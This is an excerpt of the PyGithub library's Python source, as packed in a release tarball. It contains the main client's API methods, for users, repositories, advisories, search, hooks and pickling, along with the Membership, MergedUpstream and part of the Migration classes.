get_user_by_id(self, user_id: int) -> NamedUser: """ :calls: `GET /user/{id} `_ :param user_id: int :rtype: :class:`github.NamedUser.NamedUser` """ assert isinstance(user_id, int), user_id headers, data = self.__requester.requestJsonAndCheck("GET", f"/user/{user_id}") return github.NamedUser.NamedUser(self.__requester, headers, data, completed=True) def get_users(self, since: Opt[int] = NotSet) -> PaginatedList[NamedUser]: """ :calls: `GET /users `_ """ assert since is NotSet or isinstance(since, int), since url_parameters = dict() if since is not NotSet: url_parameters["since"] = since return PaginatedList(github.NamedUser.NamedUser, self.__requester, "/users", url_parameters) def get_organization(self, org: str) -> Organization: """ :calls: `GET /orgs/{org} `_ """ assert isinstance(org, str), org org = urllib.parse.quote(org) headers, data = self.__requester.requestJsonAndCheck("GET", f"/orgs/{org}") return github.Organization.Organization(self.__requester, headers, data, completed=True) def get_organizations(self, since: Opt[int] = NotSet) -> PaginatedList[Organization]: """ :calls: `GET /organizations `_ """ assert since is NotSet or isinstance(since, int), since url_parameters = dict() if since is not NotSet: url_parameters["since"] = since return PaginatedList( github.Organization.Organization, self.__requester, "/organizations", url_parameters, ) def get_enterprise(self, enterprise: str) -> github.Enterprise.Enterprise: """ :calls: `GET /enterprises/{enterprise} `_ :param enterprise: string :rtype: :class:`Enterprise` """ assert isinstance(enterprise, str), enterprise # There is no native "/enterprises/{enterprise}" api, so this function is a hub for apis that start with "/enterprise/{enterprise}". return github.Enterprise.Enterprise(self.__requester, enterprise) def get_repo(self, full_name_or_id: int | str, lazy: bool = False) -> Repository: """ :calls: `GET /repos/{owner}/{repo} `_ or `GET /repositories/{id} `_ """ assert isinstance(full_name_or_id, (str, int)), full_name_or_id url_base = "/repositories/" if isinstance(full_name_or_id, int) else "/repos/" url = f"{url_base}{full_name_or_id}" if lazy: return github.Repository.Repository(self.__requester, {}, {"url": url}, completed=False) headers, data = self.__requester.requestJsonAndCheck("GET", url) return github.Repository.Repository(self.__requester, headers, data, completed=True) def get_repos( self, since: Opt[int] = NotSet, visibility: Opt[str] = NotSet, ) -> PaginatedList[Repository]: """ :calls: `GET /repositories `_ :param since: integer :param visibility: string ('all','public') """ assert since is NotSet or isinstance(since, int), since url_parameters: dict[str, Any] = {} if since is not NotSet: url_parameters["since"] = since if visibility is not NotSet: assert visibility in ("public", "all"), visibility url_parameters["visibility"] = visibility return PaginatedList( github.Repository.Repository, self.__requester, "/repositories", url_parameters, ) def get_repository_discussion(self, node_id: str, discussion_graphql_schema: str) -> RepositoryDiscussion: return self.__requester.graphql_node_class( node_id, discussion_graphql_schema, github.RepositoryDiscussion.RepositoryDiscussion, "Discussion" ) def get_project(self, id: int) -> Project: """ :calls: `GET /projects/{project_id} `_ """ headers, data = self.__requester.requestJsonAndCheck( "GET", f"/projects/{id:d}", headers={"Accept": Consts.mediaTypeProjectsPreview}, ) return github.Project.Project(self.__requester, headers, data, completed=True) def get_project_column(self, id: int) -> ProjectColumn: """ :calls: `GET /projects/columns/{column_id} `_ """ headers, data = self.__requester.requestJsonAndCheck( "GET", "/projects/columns/%d" % id, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) return github.ProjectColumn.ProjectColumn(self.__requester, headers, data, completed=True) def get_gist(self, id: str) -> Gist: """ :calls: `GET /gists/{id} `_ """ assert isinstance(id, str), id headers, data = self.__requester.requestJsonAndCheck("GET", f"/gists/{id}") return github.Gist.Gist(self.__requester, headers, data, completed=True) def get_gists(self, since: Opt[datetime] = NotSet) -> PaginatedList[Gist]: """ :calls: `GET /gists/public `_ """ assert since is NotSet or isinstance(since, datetime), since url_parameters = dict() if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") return PaginatedList(github.Gist.Gist, self.__requester, "/gists/public", url_parameters) def get_global_advisory(self, ghsa_id: str) -> GlobalAdvisory: """ :calls: `GET /advisories/{ghsa_id} `_ :param ghsa_id: string :rtype: :class:`github.GlobalAdvisory.GlobalAdvisory` """ assert isinstance(ghsa_id, str), ghsa_id ghsa_id = urllib.parse.quote(ghsa_id) headers, data = self.__requester.requestJsonAndCheck("GET", f"/advisories/{ghsa_id}") return github.GlobalAdvisory.GlobalAdvisory(self.__requester, headers, data) def get_global_advisories( self, type: Opt[str] = NotSet, ghsa_id: Opt[str] = NotSet, cve_id: Opt[str] = NotSet, ecosystem: Opt[str] = NotSet, severity: Opt[str] = NotSet, cwes: list[Opt[str]] | Opt[str] = NotSet, is_withdrawn: Opt[bool] = NotSet, affects: list[str] | Opt[str] = NotSet, published: Opt[str] = NotSet, updated: Opt[str] = NotSet, modified: Opt[str] = NotSet, keywords: Opt[str] = NotSet, before: Opt[str] = NotSet, after: Opt[str] = NotSet, per_page: Opt[str] = NotSet, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, ) -> PaginatedList[GlobalAdvisory]: """ :calls: `GET /advisories ` :param type: Optional string :param ghsa_id: Optional string :param cve_id: Optional string :param ecosystem: Optional string :param severity: Optional string :param cwes: Optional comma separated string or list of integer or string :param is_withdrawn: Optional bool :param affects: Optional comma separated string or list of string :param published: Optional string :param updated: Optional string :param modified: Optional string :param before: Optional string :param after: Optional string :param sort: Optional string :param direction: Optional string :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.GlobalAdvisory.GlobalAdvisory` """ assert type is github.GithubObject.NotSet or isinstance(type, str), type assert ghsa_id is github.GithubObject.NotSet or isinstance(ghsa_id, str) assert cve_id is github.GithubObject.NotSet or isinstance(cve_id, str), cve_id assert ecosystem is github.GithubObject.NotSet or isinstance(ecosystem, str), ecosystem assert severity is github.GithubObject.NotSet or isinstance(severity, str), severity assert cwes is github.GithubObject.NotSet or isinstance(cwes, list) or isinstance(cwes, str), cwes assert is_withdrawn is github.GithubObject.NotSet or isinstance(is_withdrawn, bool), is_withdrawn assert affects is github.GithubObject.NotSet or isinstance(affects, list) or isinstance(affects, str), affects assert published is github.GithubObject.NotSet or isinstance(published, str), published assert updated is github.GithubObject.NotSet or isinstance(updated, str), updated assert modified is github.GithubObject.NotSet or isinstance(modified, str), modified assert before is github.GithubObject.NotSet or isinstance(before, str), before assert after is github.GithubObject.NotSet or isinstance(after, str), after assert sort is github.GithubObject.NotSet or isinstance(sort, str), sort assert direction is github.GithubObject.NotSet or isinstance(direction, str), direction url_parameters: dict[str, Opt[str | bool]] = dict() if type is not github.GithubObject.NotSet: # pragma no branch (Should be covered) assert type in ("reviewed", "unreviewed", "malware"), type url_parameters["type"] = type if ghsa_id is not github.GithubObject.NotSet: url_parameters["ghsa_id"] = ghsa_id if cve_id is not github.GithubObject.NotSet: url_parameters["cve_id"] = cve_id # Can be one of: actions, composer, erlang, go, maven, npm, nuget, other, pip, pub, rubygems, rust # Not asserting in that list so that the package doesn't need to be updated when a new ecosystem is added if ecosystem is not github.GithubObject.NotSet: url_parameters["ecosystem"] = ecosystem if severity is not github.GithubObject.NotSet: assert severity in ("null", "low", "medium", "high", "critical"), severity url_parameters["severity"] = severity if cwes is not github.GithubObject.NotSet: if isinstance(cwes, list): cwes = ",".join([str(cwe) for cwe in cwes]) url_parameters["cwes"] = cwes if is_withdrawn is not github.GithubObject.NotSet: url_parameters["is_withdrawn"] = is_withdrawn if affects is not github.GithubObject.NotSet: if isinstance(affects, list): affects = ",".join(affects) url_parameters["affects"] = affects if published is not github.GithubObject.NotSet: url_parameters["published"] = published if updated is not github.GithubObject.NotSet: url_parameters["updated"] = updated if modified is not github.GithubObject.NotSet: url_parameters["modified"] = modified if before is not github.GithubObject.NotSet: url_parameters["before"] = before if after is not github.GithubObject.NotSet: url_parameters["after"] = after if sort is not github.GithubObject.NotSet: assert sort in ("published", "updated"), sort url_parameters["sort"] = sort if direction is not github.GithubObject.NotSet: assert direction in ("asc", "desc"), direction url_parameters["direction"] = direction return github.PaginatedList.PaginatedList( github.GlobalAdvisory.GlobalAdvisory, self.__requester, "/advisories", url_parameters, ) def search_repositories( self, query: str, sort: Opt[str] = NotSet, order: Opt[str] = NotSet, **qualifiers: Any, ) -> PaginatedList[Repository]: """ :calls: `GET /search/repositories `_ :param query: string :param sort: string ('stars', 'forks', 'updated') :param order: string ('asc', 'desc') :param qualifiers: keyword dict query qualifiers """ assert isinstance(query, str), query url_parameters = dict() if sort is not NotSet: # pragma no branch (Should be covered) assert sort in ("stars", "forks", "updated"), sort url_parameters["sort"] = sort if order is not NotSet: # pragma no branch (Should be covered) assert order in ("asc", "desc"), order url_parameters["order"] = order query_chunks = [] if query: # pragma no branch (Should be covered) query_chunks.append(query) for qualifier, value in qualifiers.items(): query_chunks.append(f"{qualifier}:{value}") url_parameters["q"] = " ".join(query_chunks) assert url_parameters["q"], "need at least one qualifier" return PaginatedList( github.Repository.Repository, self.__requester, "/search/repositories", url_parameters, ) def search_users( self, query: str, sort: Opt[str] = NotSet, order: Opt[str] = NotSet, **qualifiers: Any, ) -> PaginatedList[NamedUser]: """ :calls: `GET /search/users `_ :param query: string :param sort: string ('followers', 'repositories', 'joined') :param order: string ('asc', 'desc') :param qualifiers: keyword dict query qualifiers :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ assert isinstance(query, str), query url_parameters = dict() if sort is not NotSet: assert sort in ("followers", "repositories", "joined"), sort url_parameters["sort"] = sort if order is not NotSet: assert order in ("asc", "desc"), order url_parameters["order"] = order query_chunks = [] if query: query_chunks.append(query) for qualifier, value in qualifiers.items(): query_chunks.append(f"{qualifier}:{value}") url_parameters["q"] = " ".join(query_chunks) assert url_parameters["q"], "need at least one qualifier" return PaginatedList( github.NamedUser.NamedUser, self.__requester, "/search/users", url_parameters, ) def search_issues( self, query: str, sort: Opt[str] = NotSet, order: Opt[str] = NotSet, **qualifiers: Any, ) -> PaginatedList[Issue]: """ :calls: `GET /search/issues `_ :param query: string :param sort: string ('comments', 'created', 'updated') :param order: string ('asc', 'desc') :param qualifiers: keyword dict query qualifiers :rtype: :class:`PaginatedList` of :class:`github.Issue.Issue` """ assert isinstance(query, str), query url_parameters = dict() if sort is not NotSet: assert sort in ("comments", "created", "updated"), sort url_parameters["sort"] = sort if order is not NotSet: assert order in ("asc", "desc"), order url_parameters["order"] = order query_chunks = [] if query: # pragma no branch (Should be covered) query_chunks.append(query) for qualifier, value in qualifiers.items(): query_chunks.append(f"{qualifier}:{value}") url_parameters["q"] = " ".join(query_chunks) assert url_parameters["q"], "need at least one qualifier" return PaginatedList(github.Issue.Issue, self.__requester, "/search/issues", url_parameters) def search_code( self, query: str, sort: Opt[str] = NotSet, order: Opt[str] = NotSet, highlight: bool = False, **qualifiers: Any, ) -> PaginatedList[ContentFile]: """ :calls: `GET /search/code `_ :param query: string :param sort: string ('indexed') :param order: string ('asc', 'desc') :param highlight: boolean (True, False) :param qualifiers: keyword dict query qualifiers :rtype: :class:`PaginatedList` of :class:`github.ContentFile.ContentFile` """ assert isinstance(query, str), query url_parameters = dict() if sort is not NotSet: # pragma no branch (Should be covered) assert sort in ("indexed",), sort url_parameters["sort"] = sort if order is not NotSet: # pragma no branch (Should be covered) assert order in ("asc", "desc"), order url_parameters["order"] = order query_chunks = [] if query: # pragma no branch (Should be covered) query_chunks.append(query) for qualifier, value in qualifiers.items(): query_chunks.append(f"{qualifier}:{value}") url_parameters["q"] = " ".join(query_chunks) assert url_parameters["q"], "need at least one qualifier" headers = {"Accept": Consts.highLightSearchPreview} if highlight else None return PaginatedList( github.ContentFile.ContentFile, self.__requester, "/search/code", url_parameters, headers=headers, ) def search_commits( self, query: str, sort: Opt[str] = NotSet, order: Opt[str] = NotSet, **qualifiers: Any, ) -> PaginatedList[Commit]: """ :calls: `GET /search/commits `_ :param query: string :param sort: string ('author-date', 'committer-date') :param order: string ('asc', 'desc') :param qualifiers: keyword dict query qualifiers :rtype: :class:`PaginatedList` of :class:`github.Commit.Commit` """ assert isinstance(query, str), query url_parameters = dict() if sort is not NotSet: assert sort in ("author-date", "committer-date"), sort url_parameters["sort"] = sort if order is not NotSet: assert order in ("asc", "desc"), order url_parameters["order"] = order query_chunks = [] if query: query_chunks.append(query) for qualifier, value in qualifiers.items(): query_chunks.append(f"{qualifier}:{value}") url_parameters["q"] = " ".join(query_chunks) assert url_parameters["q"], "need at least one qualifier" return PaginatedList( github.Commit.Commit, self.__requester, "/search/commits", url_parameters, headers={"Accept": Consts.mediaTypeCommitSearchPreview}, ) def search_topics(self, query: str, **qualifiers: Any) -> PaginatedList[Topic]: """ :calls: `GET /search/topics `_ :param query: string :param qualifiers: keyword dict query qualifiers :rtype: :class:`PaginatedList` of :class:`github.Topic.Topic` """ assert isinstance(query, str), query url_parameters = dict() query_chunks = [] if query: # pragma no branch (Should be covered) query_chunks.append(query) for qualifier, value in qualifiers.items(): query_chunks.append(f"{qualifier}:{value}") url_parameters["q"] = " ".join(query_chunks) assert url_parameters["q"], "need at least one qualifier" return PaginatedList( github.Topic.Topic, self.__requester, "/search/topics", url_parameters, headers={"Accept": Consts.mediaTypeTopicsPreview}, ) def render_markdown(self, text: str, context: Opt[Repository] = NotSet) -> str: """ :calls: `POST /markdown `_ :param text: string :param context: :class:`github.Repository.Repository` :rtype: string """ assert isinstance(text, str), text assert context is NotSet or isinstance(context, github.Repository.Repository), context post_parameters = {"text": text} if is_defined(context): post_parameters["mode"] = "gfm" post_parameters["context"] = context._identity status, headers, data = self.__requester.requestJson("POST", "/markdown", input=post_parameters) return data def get_hook(self, name: str) -> HookDescription: """ :calls: `GET /hooks/{name} `_ """ assert isinstance(name, str), name name = urllib.parse.quote(name) headers, attributes = self.__requester.requestJsonAndCheck("GET", f"/hooks/{name}") return HookDescription(self.__requester, headers, attributes) def get_hooks(self) -> list[HookDescription]: """ :calls: `GET /hooks `_ :rtype: list of :class:`github.HookDescription.HookDescription` """ headers, data = self.__requester.requestJsonAndCheck("GET", "/hooks") return [HookDescription(self.__requester, headers, attributes) for attributes in data] def get_hook_delivery(self, hook_id: int, delivery_id: int) -> HookDelivery: """ :calls: `GET /hooks/{hook_id}/deliveries/{delivery_id} `_ :param hook_id: integer :param delivery_id: integer :rtype: :class:`HookDelivery` """ assert isinstance(hook_id, int), hook_id assert isinstance(delivery_id, int), delivery_id headers, attributes = self.__requester.requestJsonAndCheck("GET", f"/hooks/{hook_id}/deliveries/{delivery_id}") return HookDelivery(self.__requester, headers, attributes) def get_hook_deliveries(self, hook_id: int) -> list[HookDeliverySummary]: """ :calls: `GET /hooks/{hook_id}/deliveries `_ :param hook_id: integer :rtype: list of :class:`HookDeliverySummary` """ assert isinstance(hook_id, int), hook_id headers, data = self.__requester.requestJsonAndCheck("GET", f"/hooks/{hook_id}/deliveries") return [HookDeliverySummary(self.__requester, headers, attributes) for attributes in data] def get_gitignore_templates(self) -> list[str]: """ :calls: `GET /gitignore/templates `_ """ headers, data = self.__requester.requestJsonAndCheck("GET", "/gitignore/templates") return data def get_gitignore_template(self, name: str) -> GitignoreTemplate: """ :calls: `GET /gitignore/templates/{name} `_ """ assert isinstance(name, str), name name = urllib.parse.quote(name) headers, attributes = self.__requester.requestJsonAndCheck("GET", f"/gitignore/templates/{name}") return github.GitignoreTemplate.GitignoreTemplate(self.__requester, headers, attributes) def get_emojis(self) -> dict[str, str]: """ :calls: `GET /emojis `_ :rtype: dictionary of type => url for emoji` """ headers, attributes = self.__requester.requestJsonAndCheck("GET", "/emojis") return attributes def create_from_raw_data( self, klass: type[TGithubObject], raw_data: dict[str, Any], headers: dict[str, str | int] | None = None ) -> TGithubObject: """ Creates an object from raw_data previously obtained by :attr:`GithubObject.raw_data`, and optionally headers previously obtained by :attr:`GithubObject.raw_headers`. :param klass: the class of the object to create :param raw_data: dict :param headers: dict :rtype: instance of class ``klass`` """ if headers is None: headers = {} if issubclass(klass, CompletableGithubObject): return klass(self.__requester, headers, raw_data, completed=True) # type: ignore return klass(self.__requester, headers, raw_data) def dump(self, obj: GithubObject, file: BinaryIO, protocol: int = 0) -> None: """ Dumps (pickles) a PyGithub object to a file-like object. Some effort is made to not pickle sensitive information like the Github credentials used in the :class:`Github` instance. But NO EFFORT is made to remove sensitive information from the object's attributes. :param obj: the object to pickle :param file: the file-like object to pickle to :param protocol: the `pickling protocol `_ :param obj: the object to pickle :param file: the file-like object to pickle to :param protocol: the `pickling protocol `_ :param obj: the object to pickle :param file: the file-like object to pickle to :param protocol: the `pickling protocol `_ :param obj: the object to pickle :param file: the file-like object to pickle to :param protocol: the `pickling protocol `_ :param obj: the object to pickle :param file: the file-like object to pickle to :param protocol: the `pickling protocol `_ """ pickle.dump((obj.__class__, obj.raw_data, obj.raw_headers), file, protocol) def load(self, f: BinaryIO) -> Any: """ Loads (unpickles) a PyGithub object from a file-like object. :param f: the file-like object to unpickle from :return: the unpickled object """ return self.create_from_raw_data(*pickle.load(f)) def get_oauth_application(self, client_id: str, client_secret: str) -> ApplicationOAuth: return github.ApplicationOAuth.ApplicationOAuth( self.__requester, headers={}, attributes={"client_id": client_id, "client_secret": client_secret}, ) def get_app(self, slug: Opt[str] = NotSet) -> GithubApp: """ :calls: `GET /apps/{slug} `_ or `GET /app `_ """ if slug is NotSet: # with no slug given, calling /app returns the authenticated app, # including the actual /apps/{slug} warnings.warn( "Argument slug is mandatory, calling this method without the slug argument is deprecated, please use " "github.GithubIntegration(auth=github.Auth.AppAuth(...)).get_app() instead", category=DeprecationWarning, ) return GithubIntegration(**self.__requester.kwargs).get_app() else: assert isinstance(slug, str), slug # with a slug given, we can lazily load the GithubApp slug = urllib.parse.quote(slug) return github.GithubApp.GithubApp(self.__requester, {}, {"url": f"/apps/{slug}"}, completed=False) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Membership.py0000644000175100001660000001465714756101563016732 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2015 Matt Babineau # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Martijn Koster # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Pavan Kunisetty # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.NamedUser import github.Organization from github.GithubObject import Attribute, CompletableGithubObject, NotSet if TYPE_CHECKING: from github.NamedUser import NamedUser from github.Organization import Organization class Membership(CompletableGithubObject): """ This class represents Membership of an organization. The reference can be found here https://docs.github.com/en/rest/reference/orgs The OpenAPI schema can be found at - /components/schemas/org-membership """ def _initAttributes(self) -> None: self._organization: Attribute[Organization] = NotSet self._organization_url: Attribute[str] = NotSet self._permissions: Attribute[dict[str, Any]] = NotSet self._role: Attribute[str] = NotSet self._state: Attribute[str] = NotSet self._url: Attribute[str] = NotSet self._user: Attribute[NamedUser] = NotSet def __repr__(self) -> str: return self.get__repr__({"url": self._url.value}) @property def organization(self) -> Organization: self._completeIfNotSet(self._organization) return self._organization.value @property def organization_url(self) -> str: self._completeIfNotSet(self._organization_url) return self._organization_url.value @property def permissions(self) -> dict[str, Any]: self._completeIfNotSet(self._permissions) return self._permissions.value @property def role(self) -> str: self._completeIfNotSet(self._role) return self._role.value @property def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def user(self) -> NamedUser: self._completeIfNotSet(self._user) return self._user.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "organization" in attributes: # pragma no branch self._organization = self._makeClassAttribute(github.Organization.Organization, attributes["organization"]) if "organization_url" in attributes: # pragma no branch self._organization_url = self._makeStringAttribute(attributes["organization_url"]) if "permissions" in attributes: # pragma no branch self._permissions = self._makeDictAttribute(attributes["permissions"]) if "role" in attributes: # pragma no branch self._role = self._makeStringAttribute(attributes["role"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/MergedUpstream.py0000644000175100001660000000645414756101563017557 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Thomas Cooper # # Copyright 2025 Enrico Minack # # Copyright 2025 Mikhail f. Shiryaev # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class MergedUpstream(NonCompletableGithubObject): """ This class represents a result of merge-upstream call. The OpenAPI schema can be found at - /components/schemas/merged-upstream """ def _initAttributes(self) -> None: self._merge_type: Attribute[str] = NotSet self._base_branch: Attribute[str] = NotSet self._message: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"message": self._message.value}) @property def merge_type(self) -> str: return self._merge_type.value @property def base_branch(self) -> str: return self._base_branch.value @property def message(self) -> str: return self._message.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "merge_type" in attributes: # pragma no branch self._merge_type = self._makeStringAttribute(attributes["merge_type"]) if "base_branch" in attributes: # pragma no branch self._base_branch = self._makeStringAttribute(attributes["base_branch"]) if "message" in attributes: # pragma no branch self._message = self._makeStringAttribute(attributes["message"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Migration.py0000644000175100001660000002756114756101563016566 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Michael Stead # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # # Copyright 2018 Wan Liuyang # # Copyright 2018 per1234 # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Mark Amery # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import urllib.parse from datetime import datetime from typing import Any import github.GithubObject import github.NamedUser import github.PaginatedList import github.Repository from github import Consts from github.GithubObject import Attribute, CompletableGithubObject, NotSet class Migration(CompletableGithubObject): """ This class represents Migrations. The reference can be found here https://docs.github.com/en/rest/reference/migrations The OpenAPI schema can be found at - /components/schemas/migration """ def _initAttributes(self) -> None: self._archive_url: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._exclude: Attribute[list[str]] = NotSet self._exclude_attachments: Attribute[bool] = NotSet self._exclude_git_data: Attribute[bool] = NotSet self._exclude_metadata: Attribute[bool] = NotSet self._exclude_owner_projects: Attribute[bool] = NotSet self._exclude_releases: Attribute[bool] = NotSet self._guid: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._lock_repositories: Attribute[bool] = NotSet self._node_id: Attribute[str] = NotSet self._org_metadata_only: Attribute[bool] = NotSet self._owner: Attribute[github.NamedUser.NamedUser] = NotSet self._repositories: Attribute[list[github.Repository.Repository]] = NotSet self._state: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"state": self._state.value, "url": self._url.value}) @property def archive_url(self) -> str: self._completeIfNotSet(self._archive_url) return self._archive_url.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def exclude(self) -> list[str]: self._completeIfNotSet(self._exclude) return self._exclude.value @property def exclude_attachments(self) -> bool: self._completeIfNotSet(self._exclude_attachments) return self._exclude_attachments.value @property def exclude_git_data(self) -> bool: self._completeIfNotSet(self._exclude_git_data) return self._exclude_git_data.value @property def exclude_metadata(self) -> bool: self._completeIfNotSet(self._exclude_metadata) return self._exclude_metadata.value @property def exclude_owner_projects(self) -> bool: self._completeIfNotSet(self._exclude_owner_projects) return self._exclude_owner_projects.value @property def exclude_releases(self) -> bool: self._completeIfNotSet(self._exclude_releases) return self._exclude_releases.value @property def guid(self) -> str: self._completeIfNotSet(self._guid) return self._guid.value @property def id(self) -> int: return self._id.value @property def lock_repositories(self) -> bool: self._completeIfNotSet(self._repositories) return self._lock_repositories.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def org_metadata_only(self) -> bool: self._completeIfNotSet(self._org_metadata_only) return self._org_metadata_only.value @property def owner(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._owner) return self._owner.value @property def repositories(self) -> list[github.Repository.Repository]: self._completeIfNotSet(self._repositories) return self._repositories.value @property def state(self) -> str: self._completeIfNotSet(self._guid) return self._state.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def get_status(self) -> str: """ :calls: `GET /user/migrations/{migration_id} `_ """ headers, data = self._requester.requestJsonAndCheck( "GET", self.url, headers={"Accept": Consts.mediaTypeMigrationPreview} ) self._useAttributes(data) return self.state def get_archive_url(self) -> str: """ :calls: `GET /user/migrations/{migration_id}/archive `_ """ headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/archive", headers={"Accept": Consts.mediaTypeMigrationPreview}, ) return data["data"] def delete(self) -> None: """ :calls: `DELETE /user/migrations/{migration_id}/archive `_ """ headers, data = self._requester.requestJsonAndCheck( "DELETE", f"{self.url}/archive", headers={"Accept": Consts.mediaTypeMigrationPreview}, ) def unlock_repo(self, repo_name: str) -> None: """ :calls: `DELETE /user/migrations/{migration_id}/repos/{repo_name}/lock `_ """ assert isinstance(repo_name, str), repo_name repo_name = urllib.parse.quote(repo_name) headers, data = self._requester.requestJsonAndCheck( "DELETE", f"{self.url}/repos/{repo_name}/lock", headers={"Accept": Consts.mediaTypeMigrationPreview}, ) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "archive_url" in attributes: # pragma no branch self._archive_url = self._makeStringAttribute(attributes["archive_url"]) if "created_at" in attributes: self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "exclude" in attributes: # pragma no branch self._exclude = self._makeListOfStringsAttribute(attributes["exclude"]) if "exclude_attachments" in attributes: self._exclude_attachments = self._makeBoolAttribute(attributes["exclude_attachments"]) if "exclude_git_data" in attributes: # pragma no branch self._exclude_git_data = self._makeBoolAttribute(attributes["exclude_git_data"]) if "exclude_metadata" in attributes: # pragma no branch self._exclude_metadata = self._makeBoolAttribute(attributes["exclude_metadata"]) if "exclude_owner_projects" in attributes: # pragma no branch self._exclude_owner_projects = self._makeBoolAttribute(attributes["exclude_owner_projects"]) if "exclude_releases" in attributes: # pragma no branch self._exclude_releases = self._makeBoolAttribute(attributes["exclude_releases"]) if "guid" in attributes: self._guid = self._makeStringAttribute(attributes["guid"]) if "id" in attributes: self._id = self._makeIntAttribute(attributes["id"]) if "lock_repositories" in attributes: self._lock_repositories = self._makeBoolAttribute(attributes["lock_repositories"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "org_metadata_only" in attributes: # pragma no branch self._org_metadata_only = self._makeBoolAttribute(attributes["org_metadata_only"]) if "owner" in attributes: self._owner = self._makeClassAttribute(github.NamedUser.NamedUser, 